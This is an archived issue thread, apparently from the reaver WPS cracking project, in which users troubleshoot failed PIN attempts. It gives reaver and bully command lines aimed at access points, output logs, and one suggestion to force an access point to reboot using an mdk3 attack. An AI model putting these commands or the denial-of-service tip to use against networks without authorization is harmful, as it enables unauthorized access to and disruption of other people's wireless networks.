Open GoogleCodeExporter opened 8 years ago
try add -w and or remove -N
reaver -i mon0 -b 4C:54:99:xx:xx:xx -a -c 6 -N -S -vv -w
Original comment by deltomaf...@gmail.com
on 3 May 2014 at 9:04
like this:
reaver -i mon0 -b 4C:54:99:xx:xx:xx -a -c 6 -S -vv -w
i get:
Trying pin 12345670
Sending EAPOL START request
Received identity request
Sending identity response
Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
WPS transaction failed (code: 0x03), re-trying last pin
Trying pin 12345670
Sending EAPOL START request
Received identity request
Sending identity response
Received M1 message
Sending M2 message
Received M1 message
Sending WSC NACK
Sending WSC NACK
WPS transaction failed (code: 0x03), re-trying last pin
why the double "Sending WSC NACK"? Any suggestions?
Original comment by sto...@hotmail.it
on 16 May 2014 at 6:59
I've had this problem a couple of times, I found two different solutions for
each
1- as delto suggested use the -w option
2- reboot the AP with an mdk3 attack and then use the -w option
If you try bully and it give you some "out of sync" warnings, definitely try to
reboot the AP
Original comment by Troikaop...@gmail.com
on 10 Jun 2014 at 2:34
guys , pleaseee help me :(((
i install bully and do commands right !
but i get this ! :
root@Max:~# bully -b xx:xx:xx:xx:xx:xx -c 6 -T mon0
[!] Bully v1.0-22 - WPS vulnerability assessment utility
[+] Switching interface 'mon0' to channel '6'
[!] Using '00:11:22:33:44:55' for the source MAC address
[+] Datalink type set to '127', radiotap headers present
[+] Scanning for beacon from '60:a4:4c:ee:cd:a4' on channel '6'
[!] Excessive (3) FCS failures while reading next packet
[!] Excessive (3) FCS failures while reading next packet
[!] Excessive (3) FCS failures while reading next packet
[!] Disabling FCS validation (assuming --nofcs)
[+] Got beacon for 'milk' (xx:xx:xx:xx:xx:xx)
[X] The AP doesn't appear to be WPS enabled (no WPS IE)
Help me :(
Original comment by pooya.si...@gmail.com
on 29 Sep 2014 at 4:59
what does your error has to do with the one that was posted??
seriously?
Original comment by sto...@hotmail.it
on 30 Sep 2014 at 8:36
Original issue reported on code.google.com by
sto...@hotmail.it
on 3 May 2014 at 9:40